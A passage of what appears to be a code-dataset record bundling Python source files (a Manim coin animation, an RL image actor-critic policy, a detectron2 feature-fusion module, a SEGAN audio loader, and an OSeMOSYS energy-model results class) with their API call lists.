print(\"Loop2\", i)\n if(idx % 2 == 0):\n coin = Coin(fill_color= BLUE)\n #self.move_camera(0.8*np.pi/2, -0.45*np.pi)\n else:\n coin = Coin()\n #self.move_camera(0.8*np.pi/2, 0.45*np.pi)\n coin.scale(self.coin_size)\n coin.shift(i);\n #self.add(coin)\n self.play(GrowFromCenter(coin));\n #self.add(my_first_text, second_line)\n self.wait(2)\n\n\nclass ColorCounter(ThreeDScene):\n # self.coin_size=0.25\n def get_points(self):\n pt=np.array([0.4,3,0])\n point = list()\n point.append(pt)\n for i in range(1,4):\n for j in range(i):\n pt+=np.array([1.2,0,0])\n point.append(pt) \n pt +=np.array([0,-1,0])\n return point\n def construct(self):\n point = self.get_points()\n print(point)\n for i in point: \n coin = Coin(radius=0.5)\n #self.move_camera(0.8*np.pi/2, 0.45*np.pi)\n # coin.scale(self.coin_size)\n coin.shift(i);\n #self.add(coin)\n self.play(GrowFromCenter(coin));\n\n\n\n" ]
[ [ "numpy.matrix", "numpy.array", "numpy.dot", "numpy.sin", "numpy.arange", "numpy.cos" ] ]
clvrai/mopa-pd
[ "ac55f568149d8e79c28326bcd9b63336ed065a61" ]
[ "rl/policies/image_actor_critic.py" ]
[ "from collections import OrderedDict\n\nimport torch\nimport torch.nn as nn\nfrom gym import spaces\n\nfrom rl.policies.utils import MLP, BC_Visual_Policy\nfrom rl.policies.actor_critic import Actor, Critic\nfrom util.gym import observation_size, action_size, goal_size, box_size, robot_state_size, image_size\nimport numpy as np\n\nfrom rl.policies.distributions import (\n FixedCategorical,\n FixedNormal,\n MixedDistribution,\n FixedGumbelSoftmax,\n)\nfrom util.pytorch import to_tensor\nimport torch.nn.functional as F\n\nclass ImageActor(Actor):\n def __init__(\n self,\n config,\n ob_space,\n ac_space,\n tanh_policy,\n ac_scale,\n deterministic=False,\n activation=\"relu\",\n rl_hid_size=None,\n ):\n super().__init__(config, ob_space, ac_space, tanh_policy, ac_scale)\n\n self._ac_space = ac_space\n self._deterministic = deterministic\n self.env = config.env\n self._ac_scale = ac_scale\n\n if rl_hid_size == None:\n rl_hid_size = config.rl_hid_size\n\n if config.env == 'PusherObstacle-v0':\n # observation (excluding goal information)\n input_dim = observation_size(ob_space) - goal_size(ob_space) - box_size(ob_space)\n elif 'Sawyer' in config.env:\n input_dim = robot_state_size(ob_space)\n else:\n raise NotImplementedError\n\n self.cnn = BC_Visual_Policy(robot_state=input_dim, num_classes=256, img_size=config.env_image_size)\n\n self.fc_means = nn.ModuleDict()\n self.fc_log_stds = nn.ModuleDict()\n\n for k, space in ac_space.spaces.items():\n if isinstance(space, spaces.Box):\n self.fc_means.update(\n {\n k: MLP(\n config,\n rl_hid_size,\n action_size(space),\n activation=activation,\n )\n }\n )\n if not self._deterministic:\n self.fc_log_stds.update(\n {\n k: MLP(\n config,\n rl_hid_size,\n action_size(space),\n activation=activation,\n )\n }\n )\n elif isinstance(space, spaces.Discrete):\n self.fc_means.update(\n {k: MLP(config, rl_hid_size, space.n, activation=activation)}\n )\n else:\n self.fc_means.update(\n {k: MLP(config, rl_hid_size, space, activation=activation)}\n )\n\n def forward(self, ob, deterministic=False):\n if self.env == 'PusherObstacle-v0':\n inp = list(ob.values())\n if self._config.obs_space == \"all\":\n inp_robot_state = inp[:2]\n if len(inp[0].shape) == 1: \n inp_robot_state = [x.unsqueeze(0) for x in inp_robot_state]\n inp_robot_state = torch.cat(inp_robot_state, dim=-1)\n inp_img = inp[5]\n if len(inp_img.shape) == 5:\n inp_img = inp_img.squeeze(1) # remove unnecessary dimension\n out = self._activation_fn(self.cnn(inp_img, inp_robot_state))\n else:\n raise NotImplementedError\n elif 'Sawyer' in self.env:\n if len(ob['joint_pos'].shape) == 1:\n inp_robot_state = torch.cat([ob['joint_pos'], ob['joint_vel'], ob['gripper_qpos'], ob['gripper_qvel'], ob['eef_pos'], ob['eef_quat']])\n inp_robot_state = inp_robot_state[None, :]\n inp_img = ob['image']\n elif len(ob['joint_pos'].shape) == 2:\n inp_robot_state = torch.cat([ob['joint_pos'], ob['joint_vel'], ob['gripper_qpos'], ob['gripper_qvel'], ob['eef_pos'], ob['eef_quat']], axis=1)\n inp_img = ob['image']\n if len(inp_img.shape) == 5:\n inp_img = inp_img.squeeze(1) # remove unnecessary dimension\n out = self._activation_fn(self.cnn(inp_img, inp_robot_state))\n else:\n raise NotImplementedError\n\n out = torch.reshape(out, (out.shape[0], -1))\n\n means, stds = OrderedDict(), OrderedDict()\n\n for k, space in self._ac_space.spaces.items():\n mean = self.fc_means[k](out)\n if isinstance(space, spaces.Box) and not self._deterministic:\n if self._config.algo == \"ppo\":\n zeros = torch.zeros(mean.size()).to(self._config.device)\n log_std = self.fc_log_stds[k](zeros)\n else:\n log_std = self.fc_log_stds[k](out)\n log_std = torch.clamp(log_std, -10, 2)\n std = torch.exp(log_std.double())\n else:\n std = None\n means[k] = mean\n stds[k] = std\n return means, stds\n\n def act(self, ob, is_train=True, return_log_prob=False, return_stds=False):\n ob_copy = ob.copy()\n if 'image' in ob.keys() and isinstance(ob['image'], str):\n ob_copy['image'] = np.load(ob_copy['image'])\n ob_copy = to_tensor(ob_copy, self._config.device)\n means, stds = self.forward(ob_copy, self._deterministic)\n\n ob_copy.clear()\n\n dists = OrderedDict()\n for k, space in self._ac_space.spaces.items():\n if isinstance(space, spaces.Box):\n if self._deterministic:\n stds[k] = torch.zeros_like(means[k])\n dists[k] = FixedNormal(means[k], stds[k])\n else:\n if self._config.algo == \"sac\" or \"aac\" in self._config.algo:\n dists[k] = FixedGumbelSoftmax(\n torch.tensor(self._config.temperature), logits=means[k]\n )\n else:\n dists[k] = FixedCategorical(logits=means[k])\n\n actions = OrderedDict()\n mixed_dist = MixedDistribution(dists)\n if not is_train or self._deterministic:\n activations = mixed_dist.mode()\n else:\n activations = mixed_dist.sample()\n\n if return_log_prob:\n log_probs = mixed_dist.log_probs(activations)\n\n for k, space in self._ac_space.spaces.items():\n z = activations[k]\n if self._tanh and isinstance(space, spaces.Box):\n action = torch.tanh(z)\n if return_log_prob:\n # follow the Appendix C. Enforcing Action Bounds\n log_det_jacobian = 2 * (np.log(2.0) - z - F.softplus(-2.0 * z)).sum(\n dim=-1, keepdim=True\n )\n log_probs[k] = log_probs[k] - log_det_jacobian\n else:\n action = z\n\n action = torch.clip(action, -self._ac_scale, self._ac_scale)\n actions[k] = action.detach().cpu().numpy().squeeze(0)\n activations[k] = z.detach().cpu().numpy().squeeze(0)\n\n if return_log_prob:\n log_probs_ = torch.cat(list(log_probs.values()), -1).sum(-1, keepdim=True)\n # if log_probs_.min() < -100:\n # print('sampling an action with a probability of 1e-100')\n # import ipdb; ipdb.set_trace()\n\n log_probs_ = log_probs_.detach().cpu().numpy().squeeze(0)\n return actions, activations, log_probs_\n\n elif return_stds:\n return actions, activations, stds\n else:\n return actions, activations\n\n def act_log(self, ob, activations=None):\n means, stds = self.forward(ob)\n\n dists = OrderedDict()\n actions = OrderedDict()\n for k, space in self._ac_space.spaces.items():\n if isinstance(space, spaces.Box):\n if self._deterministic:\n stds[k] = torch.zeros_like(means[k])\n dists[k] = FixedNormal(means[k], stds[k])\n else:\n if self._config.algo == \"sac\" or \"aac\" in self._config.algo:\n dists[k] = FixedGumbelSoftmax(\n torch.tensor(self._config.temperature), logits=means[k]\n )\n else:\n dists[k] = FixedCategorical(logits=means[k])\n\n mixed_dist = MixedDistribution(dists)\n\n activations_ = mixed_dist.rsample() if activations is None else activations\n for k in activations_.keys():\n if len(activations_[k].shape) == 1:\n activations_[k] = activations_[k].unsqueeze(0)\n log_probs = mixed_dist.log_probs(activations_)\n\n for k, space in self._ac_space.spaces.items():\n z = activations_[k]\n if self._tanh and isinstance(space, spaces.Box):\n action = torch.tanh(z)\n # follow the Appendix C. Enforcing Action Bounds\n log_det_jacobian = 2 * (np.log(2.0) - z - F.softplus(-2.0 * z)).sum(\n dim=-1, keepdim=True\n )\n log_probs[k] = log_probs[k] - log_det_jacobian\n else:\n action = z\n\n action = torch.clip(action, -self._ac_scale, self._ac_scale)\n actions[k] = action\n\n log_probs_ = torch.cat(list(log_probs.values()), -1).sum(-1, keepdim=True)\n # if log_probs_.min() < -100:\n # print(ob)\n # print(log_probs_.min())\n # import ipdb; ipdb.set_trace()\n if activations is None:\n return actions, log_probs_\n else:\n ents = mixed_dist.entropy()\n return log_probs_, ents\n\n def load_partial_layers(self, state_dict):\n filtered_dict = {}\n for k, v in state_dict.items():\n if k in self.state_dict().keys():\n filtered_dict[k] = v\n self.load_state_dict(filtered_dict, strict=False)\n return None\n\n def load_state_dict_processed(self, state_dict):\n processed_dict = {}\n for k, v in state_dict.items():\n if 'cnn' in k or 'linear_layers' in k:\n k = 'cnn.' + k\n assert k in self.state_dict().keys()\n elif 'fc' in k:\n tokens = k.split('.')\n k = tokens[0] + '.default.fc.' + tokens[1] + '.' + tokens[2]\n assert k in self.state_dict().keys()\n else:\n print('incorrect checkpoint')\n exit(1)\n processed_dict[k] = v\n self.load_state_dict(processed_dict)\n return True\n\nclass ImageCritic(Critic):\n def __init__(\n self, config, ob_space, ac_space=None, activation=\"relu\", rl_hid_size=None\n ):\n super().__init__(config)\n\n self.env = config.env\n\n if config.env == 'PusherObstacle-v0':\n # observation (excluding goal information)\n input_dim = observation_size(ob_space) - goal_size(ob_space) - box_size(ob_space)\n elif 'Sawyer' in config.env:\n input_dim = robot_state_size(ob_space)\n else:\n raise NotImplementedError\n\n if ac_space is not None:\n input_dim += action_size(ac_space)\n\n self.cnn = BC_Visual_Policy(robot_state=input_dim, num_classes=1, img_size=config.env_image_size)\n\n def forward(self, ob, ac=None):\n if ac is not None:\n ac = list(ac.values())\n if len(ac[0].shape) == 1:\n ac = [x.unsqueeze(0) for x in ac]\n\n if 'Sawyer' in self.env:\n if len(ob['joint_pos'].shape) == 1:\n inp_robot_ac_state = torch.cat([ob['joint_pos'], ob['joint_vel'], ob['gripper_qpos'], ob['gripper_qvel'], ob['eef_pos'], ob['eef_quat'], ac[0]])\n inp_robot_ac_state = inp_robot_ac_state[None, :]\n inp_img = ob['image']\n elif len(ob['joint_pos'].shape) == 2:\n inp_robot_ac_state = torch.cat([ob['joint_pos'], ob['joint_vel'], ob['gripper_qpos'], ob['gripper_qvel'], ob['eef_pos'], ob['eef_quat'], ac[0]], axis=1)\n inp_img = ob['image']\n if len(inp_img.shape) == 5:\n inp_img = inp_img.squeeze(1) # remove unnecessary dimension\n out = self.cnn(inp_img, inp_robot_ac_state)\n else:\n raise NotImplementedError\n\n return out\n\n def load_state_dict_processed(self, state_dict):\n processed_dict = {}\n for k, v in state_dict.items():\n if 'cnn' in k or 'linear_layers' in k:\n k = 'cnn.' + k\n assert k in self.state_dict().keys()\n else:\n print('incorrect checkpoint')\n exit(1)\n processed_dict[k] = v\n self.load_state_dict(processed_dict)\n return True\n\n# Necessary for my KFAC implementation.\nclass AddBias(nn.Module):\n def __init__(self, bias):\n super(AddBias, self).__init__()\n self._bias = nn.Parameter(bias.unsqueeze(1))\n\n def forward(self, x):\n if x.dim() == 2:\n bias = self._bias.t().view(1, -1)\n else:\n bias = self._bias.t().view(1, -1, 1, 1)\n\n return x + bias\n" ]
[ [ "torch.reshape", "torch.cat", "torch.nn.functional.softplus", "numpy.log", "torch.nn.ModuleDict", "numpy.load", "torch.clamp", "torch.tensor", "torch.zeros_like", "torch.tanh", "torch.clip" ] ]
km1562/AdelaiDet2
[ "293cd6410631d36145f9ae4eb06a63520c66b92d" ]
[ "AdelaiDet/adet/modeling/roi_heads/multi_path_fuse_module.py" ]
[ "import torch\r\nfrom torch import nn\r\nfrom detectron2.structures import Boxes\r\n\r\ndef get_selfarea_and_interarea(boxes1: Boxes, boxes2: Boxes) -> torch.Tensor:\r\n \"\"\"\r\n Given two lists of boxes of size N and M,\r\n compute self_area and inter_area\r\n between __all__ N features M pairs of boxes.\r\n The box order must be (xmin, ymin, xmax, ymax).\r\n\r\n Args:\r\n boxes1,boxes2 (Boxes): two `Boxes`. Contains N & N boxes, respectively.\r\n Returns:\r\n self_area: proposal_boxes_area, sized [N]\r\n inter_area: inter_area, sized [N,N].\r\n \"\"\"\r\n self_area = boxes1.area()\r\n boxes1, boxes2 = boxes1.tensor, boxes2.tensor\r\n\r\n lt = torch.max(boxes1[:, None, :2], boxes2[:, :2])\r\n rb = torch.min(boxes1[:, None, 2:], boxes2[:, 2:])\r\n\r\n wh = (rb - lt).clamp(min=0)\r\n inter_area = wh[:, :, 0] * wh[:, :, 1]\r\n\r\n return self_area, inter_area\r\n\r\n\r\nclass Mutil_Path_Fuse_Module(nn.Module):\r\n \"\"\"\r\n Mutil path fuse module. given features of word-level texts, character-level texts,\r\n global context, and get the richer fused features.\r\n\r\n Args:\r\n features (Tensor): mask roi features of word-level and character-level text instances, sized [N,256,14,14]\r\n global context (Tensor): seg roi features of global context, sized [N,256,14,14]\r\n proposals (list[Instances]): selected positive proposals\r\n\r\n Returns:\r\n feature_fuse (Tensor): richer fused features\r\n \"\"\"\r\n def __init__(self, cfg):\r\n super(Mutil_Path_Fuse_Module, self).__init__()\r\n\r\n self.channels = cfg.MODEL.TEXTFUSENET_SEG_HEAD.CHANNELS\r\n\r\n # self.char_conv3x3 = nn.Conv2d(self.channels, self.channels, kernel_size=3, stride=1,\r\n # padding=1, bias=False)\r\n # self.char_conv1x1 = nn.Conv2d(self.channels, self.channels, kernel_size=1, stride=1,\r\n # padding=0, bias=False)\r\n #\r\n # self.text_conv3x3 = nn.Conv2d(self.channels, self.channels, kernel_size=3, stride=1,\r\n # padding=1, bias=False)\r\n # self.text_conv1x1 = nn.Conv2d(self.channels, self.channels, kernel_size=1, stride=1,\r\n # padding=0, bias=False)\r\n\r\n self.conv3x3 = nn.Conv2d(self.channels, self.channels, kernel_size=3, stride=1,\r\n padding=1, bias=False)\r\n self.conv1x1 = nn.Conv2d(self.channels, self.channels, kernel_size=1, stride=1,\r\n padding=0, bias=False)\r\n self.bn = nn.BatchNorm2d(self.channels)\r\n self.relu = nn.ReLU(inplace=False)\r\n\r\n\r\n def forward(self, global_context, bezier_features): #mask_features, global_context, instances\r\n result = []\r\n\r\n # if self.training:\r\n # proposal_boxes = proposals[0].pred_boxes\r\n # # classes = proposals[0].gt_classes\r\n # else:\r\n # proposal_boxes = proposals[0].pred_boxes\r\n # # classes = proposals[0].pred_classes\r\n\r\n if len(bezier_features) == 0:\r\n return bezier_features\r\n\r\n # self_area, inter_area = get_selfarea_and_interarea(proposal_boxes, proposal_boxes)\r\n # self_area = self_area.reshape(1, self_area.shape[0])\r\n # self_area = self_area.repeat(len(proposal_boxes), 1)\r\n # inter_percent = inter_area / self_area #其他16个样本与自己的交集,但实际上没有意义,只有text上,然后大于阈值才有意义\r\n # char_pos = inter_percent > 0.9\r\n #\r\n # for i in range(len(proposal_boxes)):\r\n # if classes[i] != 0: #不等于0就是char,不然就是text\r\n # char = features[i]\r\n # char = char.reshape([1, char.shape[0], char.shape[1], char.shape[2]])\r\n # char = self.char_conv3x3(char)\r\n # char = self.char_conv1x1(char)\r\n # result.append(char)\r\n # else:\r\n # if torch.sum(char_pos[i]) > 1: #我是文本了,跟我交集的字符有多少?直接累加,然后卷积,出去了\r\n # text = features[char_pos[i]]\r\n # text = torch.sum(text,dim=0)/(text.shape[0])\r\n # text = text.reshape([1, text.shape[0], text.shape[1], text.shape[2]])\r\n # text = self.text_conv3x3(text)\r\n # text = self.text_conv1x1(text)\r\n # result.append(text)\r\n # else:\r\n # text = features[i] #我是文本了,但是没预测到字符,直接卷积交出去了\r\n # text = text.reshape([1, text.shape[0], text.shape[1], text.shape[2]])\r\n # text = self.text_conv3x3(text)\r\n # text = self.text_conv1x1(text)\r\n # result.append(text)\r\n\r\n # char_context = torch.stack(result)\r\n # char_context = char_context.squeeze(1)\r\n\r\n feature_fuse = global_context + bezier_features#字符级别的特征以及text的特征+mask的特征+seg的特征\r\n\r\n feature_fuse = self.conv3x3(feature_fuse)\r\n feature_fuse = self.conv1x1(feature_fuse)\r\n feature_fuse = self.bn(feature_fuse)\r\n feature_fuse = self.relu(feature_fuse)\r\n\r\n return feature_fuse\r\n\r\n\r\ndef build_mutil_path_fuse_module(cfg):\r\n return Mutil_Path_Fuse_Module(cfg)\r\n\r\n\r\n" ]
[ [ "torch.min", "torch.max", "torch.nn.BatchNorm2d", "torch.nn.ReLU", "torch.nn.Conv2d" ] ]
maggie0830/segan
[ "c88a08d3299fe6b3627550a4fdb036b179a6537a" ]
[ "data_loader.py" ]
[ "from __future__ import print_function\nimport tensorflow as tf\nfrom ops import *\nimport numpy as np\n\n\ndef pre_emph(x, coeff=0.95):\n x0 = tf.reshape(x[0], [1,])\n diff = x[1:] - coeff * x[:-1]\n concat = tf.concat(0, [x0, diff])\n return concat\n\ndef de_emph(y, coeff=0.95):\n if coeff <= 0:\n return y\n x = np.zeros(y.shape[0], dtype=np.float32)\n x[0] = y[0]\n for n in range(1, y.shape[0], 1):\n x[n] = coeff * x[n - 1] + y[n]\n return x\n\ndef read_and_decode(filename_queue, canvas_size, preemph=0.):\n reader = tf.TFRecordReader()\n _, serialized_example = reader.read(filename_queue)\n features = tf.parse_single_example(\n serialized_example,\n features={\n 'wav_raw': tf.FixedLenFeature([], tf.string),\n 'noisy_raw': tf.FixedLenFeature([], tf.string),\n })\n wave = tf.decode_raw(features['wav_raw'], tf.int32)\n wave.set_shape(canvas_size)\n wave = (2./65535.) * tf.cast((wave - 32767), tf.float32) + 1.\n noisy = tf.decode_raw(features['noisy_raw'], tf.int32)\n noisy.set_shape(canvas_size)\n noisy = (2./65535.) * tf.cast((noisy - 32767), tf.float32) + 1.\n\n if preemph > 0:\n wave = tf.cast(pre_emph(wave, preemph), tf.float32)\n noisy = tf.cast(pre_emph(noisy, preemph), tf.float32)\n\n return wave, noisy\n" ]
[ [ "tensorflow.decode_raw", "tensorflow.concat", "numpy.zeros", "tensorflow.FixedLenFeature", "tensorflow.reshape", "tensorflow.TFRecordReader", "tensorflow.cast" ] ]
willu47/otoole
[ "061217567e72cfa37741333f1832eb5d2e11a570" ]
[ "src/otoole/results/result_package.py" ]
[ "import logging\nfrom collections.abc import Mapping\nfrom datetime import datetime\nfrom typing import Dict, Iterable, List, Optional, Tuple\n\nimport pandas as pd\n\nLOGGER = logging.getLogger(__name__)\n\n\nclass ResultsPackage(Mapping):\n \"\"\"A package of OSeMOSYS results\n\n Internal data structure is a dictionary of pandas DataFrames\n\n A crude caching function is implemented whereby calculated results are stored in the\n internal data structure so that each result is only calculated once.\n\n Arguments\n ---------\n data : dict\n A dictionary of results data\n input_data: dict, default=None\n Dictionary of input data\n\n \"\"\"\n\n def __init__(\n self,\n data: Dict[str, pd.DataFrame],\n input_data: Optional[Dict[str, pd.DataFrame]] = None,\n ):\n super().__init__()\n self._data = data\n if input_data:\n self._package = input_data\n else:\n self._package = {}\n self._result_mapper = {\n \"AccumulatedNewCapacity\": self.accumulated_new_capacity,\n \"AnnualEmissions\": self.annual_emissions,\n \"AnnualFixedOperatingCost\": self.annual_fixed_operating_cost,\n \"AnnualTechnologyEmission\": self.annual_technology_emissions,\n \"AnnualTechnologyEmissionByMode\": self.annual_technology_emission_by_mode,\n \"AnnualVariableOperatingCost\": self.annual_variable_operating_cost,\n \"CapitalInvestment\": self.capital_investment,\n \"Demand\": self.demand,\n \"DiscountedTechnologyEmissionsPenalty\": self.discounted_tech_emis_pen,\n \"ProductionByTechnology\": self.production_by_technology,\n \"ProductionByTechnologyAnnual\": self.production_by_technology_annual,\n \"RateOfProductionByTechnology\": self.rate_of_product_technology,\n \"RateOfProductionByTechnologyByMode\": self.rate_of_production_tech_mode,\n \"RateOfUseByTechnology\": self.rate_of_use_by_technology,\n \"RateOfUseByTechnologyByMode\": self.rate_of_use_by_technology_by_mode,\n \"TotalAnnualTechnologyActivityByMode\": self.total_annual_tech_activity_mode,\n \"TotalCapacityAnnual\": self.total_capacity_annual,\n \"TotalDiscountedCost\": self.total_discounted_cost,\n \"TotalTechnologyAnnualActivity\": self.total_technology_annual_activity,\n \"TotalTechnologyModelPeriodActivity\": self.total_tech_model_period_activity,\n \"UseByTechnology\": self.use_by_technology,\n }\n self._result_cache = {} # type: Dict[str, pd.DataFrame]\n\n @property\n def data(self) -> Dict[str, pd.DataFrame]:\n \"\"\"View the results dictionary\n \"\"\"\n return self._data\n\n @property\n def result_mapper(self) -> Dict[str, pd.DataFrame]:\n return self._result_mapper\n\n @property\n def result_cache(self) -> Dict[str, pd.DataFrame]:\n return self._result_cache\n\n @result_cache.setter\n def result_cache(self, value: Iterable[Tuple[str, pd.DataFrame]]):\n self._result_cache.update(value)\n\n def __getitem__(self, name: str) -> pd.DataFrame:\n LOGGER.debug(\"Returning '%s' from ... \", name)\n if name in self.data.keys():\n LOGGER.debug(\" ... ResultsPackage.data\")\n return self.data[name]\n elif name in self._package.keys():\n LOGGER.debug(\" ... ResultsPackage.input_data\")\n return self._package[name]\n elif name in self.result_cache.keys():\n LOGGER.debug(\" ... ResultsPackage.result_cache\")\n return self.result_cache[name]\n elif name in self.result_mapper.keys():\n # Implements a crude form of caching, where calculated results are\n # first stored in the internal dict, and then returned\n LOGGER.debug(\" ... ResultsPackage.calculating ...\")\n start = datetime.now()\n results = self.result_mapper[name]()\n stop = datetime.now()\n diff = stop - start\n total = diff.total_seconds()\n LOGGER.debug(\"Calculation took %s secs\", total)\n LOGGER.debug(\"Caching results for %s\", name)\n self.result_cache[name] = results\n return self.result_cache[name]\n else:\n LOGGER.debug(\" ... Not found in cache or calculation methods\")\n raise KeyError(\"{} is not accessible or available\".format(name))\n return self.data[name]\n\n def __iter__(self):\n raise NotImplementedError()\n\n def __len__(self):\n raise NotImplementedError()\n\n def _msg(self, name: str, error: str):\n return \"Cannot calculate {} due to missing data: {}\".format(name, error)\n\n def accumulated_new_capacity(self) -> pd.DataFrame:\n \"\"\"AccumulatedNewCapacity\n\n Arguments\n ---------\n operational_life: pandas.DataFrame\n\n new_capacity: pandas.DataFrame\n\n year: pandas.Index\n\n Notes\n -----\n From the formulation::\n\n r~REGION, t~TECHNOLOGY, y~YEAR,\n sum{yy in YEAR: y-yy < OperationalLife[r,t] && y-yy>=0}\n NewCapacity[r,t,yy] ~VALUE;\n\n \"\"\"\n try:\n new_capacity = self[\"NewCapacity\"].copy()\n year = pd.Index(self[\"YEAR\"][\"VALUE\"].to_list())\n except KeyError as ex:\n raise KeyError(self._msg(\"AccumulatedNewCapacity\", str(ex)))\n\n new_capacity[\"OperationalLife\"] = self[\"OperationalLife\"].copy()\n\n regions = new_capacity.reset_index()[\"REGION\"].unique()\n technologies = new_capacity.reset_index()[\"TECHNOLOGY\"].unique()\n\n index = pd.MultiIndex.from_product(\n [regions, technologies, year.to_list()],\n names=[\"REGION\", \"TECHNOLOGY\", \"YEAR\"],\n )\n\n acc_capacity = new_capacity.reindex(index, copy=True)\n\n for index, data in new_capacity.reset_index().groupby(\n by=[\"REGION\", \"TECHNOLOGY\"]\n ):\n region, technology = index\n for yr in year:\n mask = (yr - data[\"YEAR\"] < data[\"OperationalLife\"]) & (\n yr - data[\"YEAR\"] >= 0\n )\n acc_capacity.loc[region, technology, yr] = data[mask].sum()\n\n acc_capacity = acc_capacity.drop(columns=\"OperationalLife\")\n return acc_capacity[(acc_capacity != 0).all(1)]\n\n def annual_emissions(self) -> pd.DataFrame:\n \"\"\"Calculates the annual emissions\n\n Annual Emission are found by multiplying the emission activity ratio\n (emissions per unit activity) by the rate of activity and the yearsplit\n\n Notes\n -----\n From the formulation::\n\n sum{t in TECHNOLOGY, l in TIMESLICE, m in MODE_OF_OPERATION:\n EmissionActivityRatio[r,t,e,m,y]<>0}\n RateOfActivity[r,l,t,m,y] * EmissionActivityRatio[r,t,e,m,y]\n * YearSplit[l,y]~VALUE;\n \"\"\"\n try:\n emission_activity_ratio = self[\"EmissionActivityRatio\"]\n yearsplit = self[\"YearSplit\"]\n rate_of_activity = self[\"RateOfActivity\"]\n except KeyError as ex:\n raise KeyError(self._msg(\"AnnualEmissions\", str(ex)))\n\n mid = emission_activity_ratio.mul(yearsplit)\n data = mid.mul(rate_of_activity, fill_value=0.0)\n\n if not data.empty:\n data = data.groupby(by=[\"REGION\", \"EMISSION\", \"YEAR\"]).sum()\n return data\n\n def annual_fixed_operating_cost(self) -> pd.DataFrame:\n \"\"\"Compute AnnualFixedOperatingCost result\n\n Notes\n -----\n From the formulation::\n\n r~REGION, t~TECHNOLOGY, y~YEAR,\n FixedCost[r,t,y] *\n ((sum{yy in YEAR: y-yy < OperationalLife[r,t] && y-yy>=0}\n NewCapacity[r,t,yy]) + ResidualCapacity[r,t,y]) ~VALUE;\n\n \"\"\"\n try:\n total_capacity = self[\"TotalCapacityAnnual\"]\n fixed_cost = self[\"FixedCost\"]\n except KeyError as ex:\n raise KeyError(self._msg(\"AnnualFixedOperatingCost\", str(ex)))\n\n total_fixed_costs = total_capacity.mul(fixed_cost, fill_value=0.0)\n\n return total_fixed_costs[(total_fixed_costs != 0).all(1)].dropna()\n\n def annual_technology_emissions(self) -> pd.DataFrame:\n \"\"\"Calculates results ``AnnualTechnologyEmission``\n\n Notes\n -----\n From the formulation::\n\n REGION, TECHNOLOGY, EMISSION, YEAR,\n sum{l in TIMESLICE, m in MODE_OF_OPERATION:\n EmissionActivityRatio[r,t,e,m,y]<>0}\n EmissionActivityRatio[r,t,e,m,y] * RateOfActivity[r,l,t,m,y]\n * YearSplit[l,y];\n\n \"\"\"\n try:\n data = self[\"AnnualTechnologyEmissionByMode\"].copy(deep=True)\n except KeyError as ex:\n raise KeyError(self._msg(\"AnnualTechnologyEmission\", str(ex)))\n\n if not data.empty:\n data = data.groupby(by=[\"REGION\", \"TECHNOLOGY\", \"EMISSION\", \"YEAR\"]).sum()\n\n return data[(data != 0).all(1)]\n\n def annual_technology_emission_by_mode(self) -> pd.DataFrame:\n \"\"\"\n\n Notes\n -----\n From the formulation::\n\n r~REGION, t~TECHNOLOGY, e~EMISSION, m~MODE_OF_OPERATION, y~YEAR,\n sum{l in TIMESLICE: EmissionActivityRatio[r,t,e,m,y] <> 0}\n EmissionActivityRatio[r,t,e,m,y] * RateOfActivity[r,l,t,m,y]\n * YearSplit[l,y]\n \"\"\"\n try:\n emission_activity_ratio: pd.DataFrame = self[\"EmissionActivityRatio\"]\n yearsplit: pd.DataFrame = self[\"YearSplit\"]\n rate_of_activity: pd.DataFrame = self[\"RateOfActivity\"]\n except KeyError as ex:\n raise KeyError(self._msg(\"AnnualTechnologyEmissionByMode\", str(ex)))\n\n mid = emission_activity_ratio.mul(yearsplit)\n data = mid.mul(rate_of_activity)\n\n if not data.empty:\n data = data.groupby(\n by=[\"REGION\", \"TECHNOLOGY\", \"EMISSION\", \"MODE_OF_OPERATION\", \"YEAR\"]\n ).sum()\n\n return data[(data != 0).all(1)]\n\n def annual_variable_operating_cost(self) -> pd.DataFrame:\n \"\"\"AnnualVariableOperatingCost\n\n Notes\n -----\n From the formulation::\n\n r~REGION, t~TECHNOLOGY, y~YEAR,\n sum{m in MODE_OF_OPERATION, l in TIMESLICE}\n RateOfActivity[r,l,t,m,y]\n * YearSplit[l,y]\n * VariableCost[r,t,m,y] ~VALUE;\n\n \"\"\"\n try:\n rate_of_activity = self[\"RateOfActivity\"]\n yearsplit = self[\"YearSplit\"]\n variable_cost = self[\"VariableCost\"]\n except KeyError as ex:\n raise KeyError(self._msg(\"AnnualVariableOperatingCost\", str(ex)))\n\n split_activity = rate_of_activity.mul(yearsplit, fill_value=0.0)\n data = split_activity.mul(variable_cost, fill_value=0.0)\n if not data.empty:\n data = data.groupby(by=[\"REGION\", \"TECHNOLOGY\", \"YEAR\"]).sum()\n return data[(data != 0).all(1)]\n\n def capital_investment(self) -> pd.DataFrame:\n \"\"\"CapitalInvestment\n\n Notes\n -----\n From the formulation::\n\n r~REGION, t~TECHNOLOGY, y~YEAR,\n CapitalCost[r,t,y] * NewCapacity[r,t,y] ~VALUE;\n \"\"\"\n try:\n capital_cost = self[\"CapitalCost\"]\n new_capacity = self[\"NewCapacity\"]\n except KeyError as ex:\n raise KeyError(self._msg(\"CapitalInvestment\", str(ex)))\n\n data = capital_cost.mul(new_capacity, fill_value=0.0)\n return data[(data != 0).all(1)]\n\n def demand(self) -> pd.DataFrame:\n \"\"\"Demand\n\n Notes\n -----\n From the formulation::\n\n r~REGION, l~TIMESLICE, f~FUEL, y~YEAR,\n SpecifiedAnnualDemand[r,f,y] * SpecifiedDemandProfile[r,f,l,y] ~VALUE;\n \"\"\"\n try:\n specified_annual_demand = self[\"SpecifiedAnnualDemand\"]\n specified_demand_profile = self[\"SpecifiedDemandProfile\"]\n except KeyError as ex:\n raise KeyError(self._msg(\"Demand\", str(ex)))\n\n data = specified_annual_demand.mul(specified_demand_profile, fill_value=0.0)\n if not data.empty:\n data = data.reset_index().set_index([\"REGION\", \"TIMESLICE\", \"FUEL\", \"YEAR\"])\n return data[(data != 0).all(1)]\n\n def discounted_tech_emis_pen(self) -> pd.DataFrame:\n \"\"\"\n Notes\n -----\n From the formulation::\n\n DiscountedTechnologyEmissionsPenalty[r,t,y] :=\n\n EmissionActivityRatio[r,t,e,m,y] * RateOfActivity[r,l,t,m,y] *\n YearSplit[l,y] * EmissionsPenalty[r,e,y] /\n ((1+DiscountRate[r, t]) ^ (y - min{yy in YEAR} min(yy) + 0.5))\n\n \"\"\"\n try:\n annual_technology_emission_by_mode = self[\"AnnualTechnologyEmissionByMode\"]\n emission_penalty = self[\"EmissionsPenalty\"]\n regions = self[\"REGION\"][\"VALUE\"].to_list()\n technologies = list(\n annual_technology_emission_by_mode.reset_index()[\"TECHNOLOGY\"].unique()\n )\n years = 